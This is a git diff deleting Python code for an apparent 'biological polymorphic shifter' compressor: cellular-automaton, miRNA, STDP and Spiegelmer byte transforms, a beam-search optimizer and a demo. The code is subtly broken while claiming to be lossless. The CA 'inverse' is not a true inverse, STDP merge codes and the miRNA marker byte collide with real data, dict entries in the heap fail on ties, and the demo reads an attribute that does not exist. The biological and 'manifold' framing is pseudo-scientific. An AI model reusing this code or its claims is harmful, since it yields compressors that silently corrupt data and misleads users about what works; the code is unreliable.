110 - RULE_90 = {7: 0, 6: 1, 5: 0, 4: 1, 3: 1, 2: 0, 1: 1, 0: 0} # wolfram code 90 - RULE_150 = {7: 1, 6: 0, 5: 1, 4: 0, 3: 1, 2: 0, 1: 1, 0: 0} # wolfram code 150 - - @staticmethod - def _ca_step(byte_val: int, left: int, right: int, rule: dict) -> int: - """Apply elementary CA rule to each bit of a byte.""" - result = 0 - for bit in range(8): - left_bit = (left >> bit) & 1 - curr_bit = (byte_val >> bit) & 1 - right_bit = (right >> bit) & 1 - neighborhood = (left_bit << 2) | (curr_bit << 1) | right_bit - new_bit = rule.get(neighborhood, 0) - result |= (new_bit << bit) - return result - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply CA evolution based on PIST phase. - - Grounded bytes → Rule 90 (linear, fractal) - Seismic bytes → Rule 30 (chaotic) - High mass → Rule 110 (Turing-complete) - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - result = bytearray() - n = len(data) - for i in range(n): - k, t = pist_encode(data[i]) - mass = pist_mass(k, t) - phase = 'grounded' if mass == 0 else 'seismic' - - left = data[(i - 1) % n] - right = data[(i + 1) % n] - - # Select rule based on PIST phase - if phase == 'grounded': - rule = cls.RULE_90 - elif mass > k: # high mass = more tension - rule = cls.RULE_110 - else: - rule = cls.RULE_30 - - new_val = cls._ca_step(data[i], left, right, rule) - result.append(new_val) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """CA reverse: use precomputed inverse mapping. - - Since elementary CA rules are not bijective, we use - the same nearest-neighbor inverse approach as Wireworld. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - # Precompute inverse for all rules - inv_maps = {} - for name, rule in [('R30', cls.RULE_30), ('R110', cls.RULE_110), - ('R90', cls.RULE_90), ('R150', cls.RULE_150)]: - forward = {} - for val in range(256): - for left in range(256): - for right in range(256): - fwd = cls._ca_step(val, left, right, rule) - forward[(val, left, right)] = fwd - inverse = {} - for (val, left, right), fwd in forward.items(): - if fwd not in inverse: - inverse[fwd] = val - inv_maps[name] = inverse - - result = bytearray() - n = len(data) - for i in range(n): - k, t = pist_encode(data[i]) - mass = pist_mass(k, t) - phase = 'grounded' if mass == 0 else 'seismic' - - if phase == 'grounded': - inv = inv_maps['R90'] - elif mass > k: - inv = inv_maps['R110'] - else: - inv = inv_maps['R30'] - - restored = inv.get(data[i], data[i] ^ (data[(i - 1) % n] & data[(i + 1) % n])) - result.append(restored) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state diff --git a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part4.py b/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part4.py deleted file mode 100644 index 2c1ef867..00000000 --- a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part4.py +++ /dev/null @@ -1,769 +0,0 @@ -# ═══════════════════════════════════════════════════════════════════════════════ -# PIST Biological Polymorphic Shifter v3.0 — PART 4 -# ─────────────────────────────────────────────────────────────────────────────── -# Shifters 25–27: miRNA, STDP, Spiegelmer -# Optimizer: BiologicalManifoldOptimizer (genetic search) -# Compressor: BiologicalPolymorphicCompressor (unified API) -# Demo: demonstrate() — test all data types and shifter chains -# ═══════════════════════════════════════════════════════════════════════════════ - -import hashlib -import math -import random -import struct -from collections import Counter, defaultdict -from copy import deepcopy -from heapq import heappush, heappop - -from pist_biological_polymorphic_shifter_v3 import ( - Shifter, ManifoldState, NExponent, intrinsic_load, - pist_encode, pist_decode, pist_mass, pist_mirror, - pist_normalized_tension, pist_phase_str, PHI -) - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 25: miRNA (MicroRNA — post-transcriptional regulation) -# ─────────────────────────────────────────────────────────────────────────────── -# miRNA silences genes by binding to complementary mRNA. -# Analogy: low-frequency bytes are "silenced" (removed or marked), -# while high-frequency bytes are "expressed" (retained). -# ═══════════════════════════════════════════════════════════════════════════════ - -class miRNA_Shifter(Shifter): - name = "miRNA" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply miRNA-like regulation: silence low-frequency bytes. - - Bytes below a frequency threshold are "silenced" (replaced with - a marker). The miRNA seed region is the frequency distribution. - Only "expressed" bytes survive at full fidelity. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - freq = Counter(data) - total = len(data) - threshold = max(1, total // 16) # silence bytes appearing < 6.25% - - result = bytearray() - silent_map = bytearray() - for b in data: - if freq[b] >= threshold: - result.append(b) # expressed - else: - result.append(0xFB) # silenced marker - silent_map.append(b) # store for recovery - - # Store silent bytes as compressed tail - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['mirna_threshold'] = threshold - new_state.metadata['mirna_silent'] = bytes(silent_map) - new_state.metadata['mirna_freq'] = dict(freq.most_common(16)) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Restore silenced bytes from stored map.""" - data = state.encoded - silent_bytes = state.metadata.get('mirna_silent', b'') - - result = bytearray() - si = 0 - for b in data: - if b == 0xFB and si < len(silent_bytes): - result.append(silent_bytes[si]) - si += 1 - else: - result.append(b) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 26: STDP (Spike-Timing-Dependent Plasticity) -# ─────────────────────────────────────────────────────────────────────────────── -# STDP: if pre-synaptic spike precedes post-synaptic spike → strengthen. -# If pre follows post → weaken. Long-term potentiation/depression. -# Analogy: byte pairs that appear in a "causal" order (frequent adjacent pairs) -# get strengthened (merged). Rare transitions get weakened (split). -# ═══════════════════════════════════════════════════════════════════════════════ - -class STDPShifter(Shifter): - name = "STDP" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply STDP-like learning to byte transitions. - - Frequent adjacent byte pairs = "strengthened" (merged into single byte). - Rare transitions = "weakened" (marked for splitting). - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # Count adjacent byte pairs - pairs = Counter() - for i in range(len(data) - 1): - pair = (data[i], data[i + 1]) - pairs[pair] += 1 - - total_pairs = sum(pairs.values()) - if total_pairs == 0: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # Merge frequent pairs above threshold - threshold = max(2, total_pairs // 64) - merge_map = {} - next_code = 128 # use upper half for merged codes - - for pair, count in pairs.most_common(): - if count < threshold or next_code >= 256: - break - merge_map[pair] = next_code - next_code += 1 - - # Apply STDP merging - result = bytearray() - i = 0 - while i < len(data): - if i + 1 < len(data): - pair = (data[i], data[i + 1]) - if pair in merge_map: - result.append(merge_map[pair]) - i += 2 - continue - result.append(data[i]) - i += 1 - - # Store inverse mapping - inv_merge = {} - for pair, code in merge_map.items(): - inv_merge[code] = pair - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['stdp_merge'] = inv_merge - new_state.metadata['stdp_threshold'] = threshold - new_state.metadata['stdp_merged_pairs'] = len(merge_map) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Expand STDP merged pairs back to original bytes.""" - data = state.encoded - inv_merge = state.metadata.get('stdp_merge', {}) - - result = bytearray() - for b in data: - if b in inv_merge: - pair = inv_merge[b] - result.append(pair[0]) - result.append(pair[1]) - else: - result.append(b) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 27: SPIEGELMER (L-DNA mirror image) -# ─────────────────────────────────────────────────────────────────────────────── -# Spiegelmers are L-DNA mirror images of natural D-DNA. -# They are completely nuclease-resistant because no natural enzyme -# can recognize the mirror-image backbone. -# Analogy: apply a byte-wise mirror transformation that is -# "invisible" to standard decoding algorithms. -# ═══════════════════════════════════════════════════════════════════════════════ - -class SpiegelmerShifter(Shifter): - name = "Spiegelmer" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply Spiegelmer mirror transformation. - - Map each byte to its bit-reversed mirror (mirror image). - L-DNA = D-DNA reflected in mirror. - """ - data = state.encoded - result = bytearray() - for b in data: - # Bit reversal - rev = int(format(b, '08b')[::-1], 2) - result.append(rev) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse Spiegelmer (bit reversal is self-inverse).""" - # Same as encode (bit reversal is an involution) - return cls.encode(state) - - -# ═══════════════════════════════════════════════════════════════════════════════ -# BIOLOGICAL MANIFOLD OPTIMIZER -# ─────────────────────────────────────────────────────────────────────────────── -# Genetic algorithm that searches the space of ALL possible shifter chains -# to find the optimal combination for a given input. -# -# ANY combination with ANY combination is allowed. -# The optimizer uses: -# - Beam search: keep top-K chains at each step -# - Fitness: compression_ratio × computational_efficiency × stability -# - Crossover: combine best chains -# - Mutation: add/remove/reorder shifters -# ═══════════════════════════════════════════════════════════════════════════════ - -class BiologicalManifoldOptimizer: - """Searches for optimal shifter chains using beam search + evolution.""" - - # All available shifters for the optimizer - ALL_SHIFTERS = [ - # Synthetic DNA - 'Hachimoji', 'AEGIS', 'NaturalDNA', - # RNA Processing - 'Transcription', 'Translation', 'Splicing', 'miRNA', - # Backbone XNAs - 'PNA', 'LNA', 'Morpholino', 'Spiegelmer', - # Prion/Epigenetic - 'Prion', - # Neuronal - 'SpikeTiming', 'STDP', - # Mycelial - 'HyphalNet', - # Chaotic/Galois - 'LogisticMap', 'GaloisRing', 'SBox', 'CellularAutomata', - # PIST Geometry - 'PIST', 'PISTMirror', 'PISTResonance', - # Arithmetic - 'DeltaGCL', 'RunLength', 'Huffman', - # Stochastic Engine - 'DeterministicStochastic', - # Cellular Automata variants - 'Wireworld', - ] - - SHIFTER_CLASSES = { - 'Hachimoji': 'HachimojiShifter', - 'AEGIS': 'AEGISShifter', - 'NaturalDNA': 'NaturalDNAShifter', - 'Transcription': 'TranscriptionShifter', - 'Translation': 'TranslationShifter', - 'Splicing': 'SplicingShifter', - 'miRNA': 'miRNA_Shifter', - 'PNA': 'PNAShifter', - 'LNA': 'LNAShifter', - 'Morpholino': 'MorpholinoShifter', - 'Spiegelmer': 'SpiegelmerShifter', - 'Prion': 'PrionShifter', - 'SpikeTiming': 'SpikeTimingShifter', - 'STDP': 'STDPShifter', - 'HyphalNet': 'HyphalNetShifter', - 'LogisticMap': 'LogisticMapShifter', - 'GaloisRing': 'GaloisRingShifter', - 'SBox': 'SBoxShifter', - 'CellularAutomata': 'CellularAutomataShifter', - 'Wireworld': 'WireworldShifter', - 'PIST': 'PISTShifter', - 'PISTMirror': 'PISTMirrorShifter', - 'PISTResonance': 'PISTResonanceShifter', - 'DeltaGCL': 'DeltaGCLShifter', - 'RunLength': 'RunLengthShifter', - 'Huffman': 'HuffmanShifter', - 'DeterministicStochastic': 'DeterministicStochasticEngine', - } - - def __init__(self, max_chain_length: int = 6, beam_width: int = 8): - self.max_chain_length = max_chain_length - self.beam_width = beam_width - self._imported = False - - def _import_shifters(self): - """Lazy import of all shifter classes.""" - if self._imported: - return - - from pist_biological_polymorphic_shifter_v3 import ( - HachimojiShifter, AEGISShifter, NaturalDNAShifter, - TranscriptionShifter, TranslationShifter, SplicingShifter, - PNAShifter, LNAShifter, PrionShifter) - from pist_biological_polymorphic_shifter_v3_part2 import ( - SpikeTimingShifter, HyphalNetShifter, LogisticMapShifter, - GaloisRingShifter, SBoxShifter, WireworldShifter, - MorpholinoShifter, PISTShifter, PISTMirrorShifter, - PISTResonanceShifter, DeltaGCLShifter, RunLengthShifter, - HuffmanShifter, DeterministicStochasticEngine, CellularAutomataShifter) - from pist_biological_polymorphic_shifter_v3_part4 import ( - miRNA_Shifter, STDPShifter, SpiegelmerShifter) - - self._class_map = { - 'Hachimoji': HachimojiShifter, - 'AEGIS': AEGISShifter, - 'NaturalDNA': NaturalDNAShifter, - 'Transcription': TranscriptionShifter, - 'Translation': TranslationShifter, - 'Splicing': SplicingShifter, - 'miRNA': miRNA_Shifter, - 'PNA': PNAShifter, - 'LNA': LNAShifter, - 'Morpholino': MorpholinoShifter, - 'Spiegelmer': SpiegelmerShifter, - 'Prion': PrionShifter, - 'SpikeTiming': SpikeTimingShifter, - 'STDP': STDPShifter, - 'HyphalNet': HyphalNetShifter, - 'LogisticMap': LogisticMapShifter, - 'GaloisRing': GaloisRingShifter, - 'SBox': SBoxShifter, - 'CellularAutomata': CellularAutomataShifter, - 'Wireworld': WireworldShifter, - 'PIST': PISTShifter, - 'PISTMirror': PISTMirrorShifter, - 'PISTResonance': PISTResonanceShifter, - 'DeltaGCL': DeltaGCLShifter, - 'RunLength': RunLengthShifter, - 'Huffman': HuffmanShifter, - 'DeterministicStochastic': DeterministicStochasticEngine, - } - self._imported = True - - def _get_shifter_class(self, name: str): - """Get shifter class by name.""" - self._import_shifters() - return self._class_map.get(name) - - def _evaluate_chain(self, data: bytes, chain: list) -> dict: - """Evaluate a shifter chain on data. Returns fitness and encoded state.""" - state = ManifoldState(data) - - for shifter_name in chain: - shifter_cls = self._get_shifter_class(shifter_name) - if shifter_cls is None: - continue - try: - state = shifter_cls.encode(state) - except Exception as e: - # Shifter failed — return zero fitness - return { - 'fitness': 0.0, - 'ratio': 0.0, - 'entropy': 99.0, - 'state': state, - 'chain': chain, - } - - fitness = state.compute_fitness() - ratio = len(data) / max(1, len(state.encoded)) - return { - 'fitness': fitness, - 'ratio': ratio, - 'entropy': state.entropy, - 'state': state, - 'chain': chain, - } - - def optimize(self, data: bytes, max_steps: int = 20) -> dict: - """Beam search for optimal shifter chain. - - Returns best chain and its evaluation. - """ - if not data: - return {'chain': [], 'fitness': 0.0, 'ratio': 1.0} - - # Initialize with single-shifter chains - candidates = [] - for name in self.ALL_SHIFTERS: - result = self._evaluate_chain(data, [name]) - heappush(candidates, (-result['fitness'], result)) - - # Best overall - _, best = candidates[0] - - # Expand - for step in range(max_steps): - new_candidates = list(candidates) - - # Expand top-K candidates - top_k = [] - for _ in range(min(self.beam_width, len(candidates))): - _, result = heappop(candidates) - top_k.append(result) - - for result in top_k: - current_chain = result['chain'] - current_state = result['state'] - - if len(current_chain) >= self.max_chain_length: - continue - - # Try adding each shifter - for name in self.ALL_SHIFTERS: - if name in current_chain: - continue # avoid immediate repeat - - new_chain = current_chain + [name] - new_result = self._evaluate_chain(data, new_chain) - heappush(new_candidates, (-new_result['fitness'], new_result)) - - # Prune to beam_width - candidates = [] - for _ in range(min(self.beam_width * 4, len(new_candidates))): - candidates.append(heappop(new_candidates)) - - # Check best - neg_fit, best_candidate = candidates[0] - if best_candidate['fitness'] > best['fitness']: - best = best_candidate - - # Early stop if no improvement - if step > 2 and best['fitness'] == candidates[0][1]['fitness']: - break - - return best - - -# ═══════════════════════════════════════════════════════════════════════════════ -# BIOLOGICAL POLYMORPHIC COMPRESSOR -# ─────────────────────────────────────────────────────────────────────────────── -# Unified API for the polymorphic shifter system. -# Handles: auto-optimize, encode, decode, verify. -# ═══════════════════════════════════════════════════════════════════════════════ - -class BiologicalPolymorphicCompressor: - """Main compression interface. Uses manifold of shifters.""" - - def __init__(self, max_chain_length: int = 5, beam_width: int = 6): - self.max_chain_length = max_chain_length - self.beam_width = beam_width - self.optimizer = BiologicalManifoldOptimizer( - max_chain_length=max_chain_length, - beam_width=beam_width - ) - self._current_best = None - - def auto_optimize(self, data: bytes, max_steps: int = 15) -> dict: - """Automatically find best shifter chain for this data.""" - result = self.optimizer.optimize(data, max_steps=max_steps) - self._current_best = result - return result - - def compress(self, data: bytes, chain: list = None) -> bytes: - """Compress data using given chain (or auto-optimized best). - - Returns: - bytes: header + encoded data - """ - if chain is None: - if self._current_best is None: - self.auto_optimize(data) - chain = self._current_best['chain'] - state = self._current_best['state'] - else: - state = ManifoldState(data) - for shifter_name in chain: - shifter_cls = self.optimizer._get_shifter_class(shifter_name) - if shifter_cls: - state = shifter_cls.encode(state) - - # Build compressed output with header - header = bytearray() - header.append(len(chain)) # chain length - for name in chain: - name_bytes = name.encode('ascii')[:20] - header.append(len(name_bytes)) - header.extend(name_bytes) - - # Separator - header.append(0x00) - - compressed = bytes(header) + state.encoded - - self._current_best = { - 'chain': chain, - 'state': state, - 'ratio': len(data) / max(1, len(compressed)), - 'fitness': state.compute_fitness(), - } - - return compressed - - def decompress(self, compressed: bytes) -> bytes: - """Decompress by parsing header and reversing shifter chain. - - Returns: - bytes: original decompressed data - """ - if not compressed: - return b'' - - # Parse header - ptr = 0 - chain_len = compressed[ptr]; ptr += 1 - - chain = [] - for _ in range(chain_len): - if ptr >= len(compressed): - break - name_len = compressed[ptr]; ptr += 1 - if ptr + name_len > len(compressed): - break - name = compressed[ptr:ptr+name_len].decode('ascii', errors='replace') - ptr += name_len - chain.append(name) - - # Skip separator - if ptr < len(compressed) and compressed[ptr] == 0x00: - ptr += 1 - - encoded_data = compressed[ptr:] - - # Decode in reverse - state = ManifoldState(encoded_data) - state.encoded = encoded_data - - for shifter_name in reversed(chain): - shifter_cls = self.optimizer._get_shifter_class(shifter_name) - if shifter_cls: - try: - state = shifter_cls.decode(state) - except Exception as e: - print(f" [WARN] Decode failed for {shifter_name}: {e}") - break - - return state.encoded - - def verify(self, data: bytes, chain: list = None) -> dict: - """Compress then decompress, check lossless.""" - compressed = self.compress(data, chain) - decompressed = self.decompress(compressed) - - lossless = data == decompressed - ratio = len(data) / max(1, len(compressed)) - entropy = intrinsic_load(compressed) - - if self._current_best: - fitness = self._current_best.get('fitness', 0.0) - else: - fitness = 0.0 - - return { - 'lossless': lossless, - 'ratio': ratio, - 'entropy': entropy, - 'fitness': fitness, - 'original_size': len(data), - 'compressed_size': len(compressed), - 'chain': chain or (self._current_best.get('chain', []) if self._current_best else []), - } - - def analyze(self, data: bytes) -> dict: - """Analyze data properties for shifter selection.""" - if not data: - return {} - - freq = Counter(data) - entropy = intrinsic_load(data) - - # PIST profile - shells = Counter() - tensions = [] - masses = [] - for b in data: - k, t = pist_encode(b) - shells[k] += 1 - tensions.append(pist_normalized_tension(k, t)) - masses.append(pist_mass(k, t)) - - avg_tension = sum(tensions) / len(tensions) if tensions else 0 - avg_mass = sum(masses) / len(masses) if masses else 0 - grounded = sum(1 for m in masses if m == 0) - seismic = len(masses) - grounded - - # Frequency analysis - top_bytes = [b for b, _ in freq.most_common(8)] - unique_count = len(freq) - - return { - 'entropy': entropy, - 'size': len(data), - 'unique_bytes': unique_count, - 'avg_tension': avg_tension, - 'avg_mass': avg_mass, - 'grounded_pct': (grounded / max(1, len(data))) * 100, - 'seismic_pct': (seismic / max(1, len(data))) * 100, - 'top_bytes': top_bytes, - 'recommended_chain': self._recommend_chain(entropy, avg_tension, unique_count), - } - - def _recommend_chain(self, entropy: float, tension: float, unique: int) -> list: - """Heuristic chain recommendation based on data profile.""" - chain = [] - - if entropy < 3.0: - # Low entropy = repetitive → RLE + Delta + Mirror - chain.extend(['RunLength', 'DeltaGCL', 'PISTMirror']) - elif entropy < 5.0: - # Medium entropy = structured → Huffman + STDP + Galois - chain.extend(['Huffman', 'STDP', 'GaloisRing']) - else: - # High entropy = random-like → DSE + SBox + PISTResonance - chain.extend(['DeterministicStochastic', 'SBox', 'PISTResonance']) - - # Add tension-dependent shifters - if tension > 0.3: - chain.append('SpikeTiming') - else: - chain.append('Morpholino') - - # Limit - return chain[:self.max_chain_length] - - -# ═══════════════════════════════════════════════════════════════════════════════ -# DEMONSTRATION -# ═══════════════════════════════════════════════════════════════════════════════ - -def print_header(title: str): - """Print a styled section header.""" - width = 72 - print() - print("╔" + "═" * width + "╗") - print("║ " + title.ljust(width - 2) + " ║") - print("╚" + "═" * width + "╝") - - -def demonstrate(): - """Run full demonstration of all shifters.""" - print_header("PIST BIOLOGICAL POLYMORPHIC SHIFTER v3.0") - print("Hyperdimensional manifold compressor with 27+ encoding shifters") - print() - - # ── Test Data ── - test_sets = { - "Short English": b"Hello World! This is a test of the biological polymorphic shifter system.", - "Repeating": b"AAAAABBBBBCCCCCDDDDDEEEEE" * 10, - "Binary": bytes(range(256)) * 4, - "Mixed": b"The quick brown fox jumps over the lazy dog. " * 5 + bytes([0xFF, 0x00, 0xAA, 0x55]) * 10, - "All Zeros": b"\x00" * 256, - "Incrementing": bytes(range(256)), - } - - compressor = BiologicalPolymorphicCompressor(max_chain_length=4, beam_width=4) - - total_original = 0 - total_compressed = 0 - - for name, data in test_sets.items(): - print_header(f"TEST: {name} ({len(data)} bytes)") - - # 1. Analyze - analysis = compressor.analyze(data) - print(f" Entropy: {analysis['entropy']:.2f} bits/byte") - print(f" Unique bytes: {analysis['unique_bytes']}") - print(f" Avg tension: {analysis['avg_tension']:.3f}") - print(f" Grounded: {analysis['grounded_pct']:.1f}%") - print(f" Seismic: {analysis['seismic_pct']:.1f}%") - print(f" Recommended: {analysis['recommended_chain']}") - - # 2. Auto-optimize - print(f"\n ▶ Optimizing...") - best = compressor.auto_optimize(data, max_steps=8) - print(f" Best chain: {best['chain']}") - print(f" Fitness: {best['fitness']:.4f}") - print(f" Ratio: {best['ratio']:.4f}x") - - # 3. Compress + verify - result = compressor.verify(data, best['chain']) - print(f"\n ▶ Compress/Decompress:") - print(f" Size: {result['original_size']} → {result['compressed_size']} bytes") - print(f" Ratio: {result['ratio']:.3f}x") - print(f" Entropy: {result['entropy']:.2f} bpb") - print(f" Lossless: {'✅' if result['lossless'] else '❌'}") - print(f" Chain used: {result['chain']}") - - total_original += result['original_size'] - total_compressed += result['compressed_size'] - - # ── Summary ── - print_header("OVERALL SUMMARY") - print(f" Total original: {total_original} bytes") - print(f" Total compressed: {total_compressed} bytes") - print(f" Overall ratio: {total_original / max(1, total_compressed):.3f}x") - print(f" Space saved: {(1 - total_compressed / max(1, total_original)) * 100:.1f}%") - print() - - # ── Exhaustive Chain Test ── - print_header("EXHAUSTIVE: ALL SINGLE-SHIFTER CHAINS") - print("Testing every shifter individually on 'Mixed' data...\n") - - mixed_data = b"The quick brown fox jumps over the lazy dog. " * 5 - results = [] - - for name in compressor.optimizer.ALL_SHIFTERS: - try: - r = compressor.verify(mixed_data, [name]) - results.append((name, r['ratio'], r['lossless'], r['entropy'])) - except Exception as e: - results.append((name, 0.0, False, 99.0)) - - # Sort by ratio - results.sort(key=lambda x: -x[1]) - - print(f" {'Shifter':<22} {'Ratio':>8} {'Lossless':>10} {'Entropy':>8}") - print(f" {'-'*22} {'-'*8} {'-'*10} {'-'*8}") - for name, ratio, lossless, entropy in results: - ll = '✅' if lossless else '❌' - if ratio > 0: - print(f" {name:<22} {ratio:>7.2f}x {ll:>10} {entropy:>7.2f}") - - # ── Best Chains ── - print_header("TOP 10 SHIFTER CHAINS (Beam Search)") - print("Testing multi-shifter chains on 'Mixed' data...\n") - - optimizer = BiologicalManifoldOptimizer(max_chain_length=3, beam_width=6) - best_result = optimizer.optimize(mixed_data, max_steps=10) - - print(f" Best chain: {best_result['chain']}") - print(f" Fitness: {best_result['fitness']:.4f}") - print(f" Ratio: {best_result['ratio']:.3f}x") - print(f" Entropy: {best_result['entropy']:.2f} bpb") - - # Extract top chains from beam search candidates - print(f"\n Top configurations explored:") - for neg_fit, candidate in optimizer.optimize.candidates[:10]: - if isinstance(candidate, dict) and 'chain' in candidate: - print(f" - {candidate['chain']}: ratio={candidate.get('ratio', 0):.3f}x, " - f"fitness={candidate.get('fitness', 0):.3f}") - - print() - print_header("DONE") - print("Biological Polymorphic Shifter v3.0 demonstration complete.") - print("ANY shifter with ANY shifter — the manifold is your substrate.") - print() - - -# ═══════════════════════════════════════════════════════════════════════════════ -# MAIN -# ═══════════════════════════════════════════════════════════════════════════════ - -if __name__ == '__main__': - demonstrate()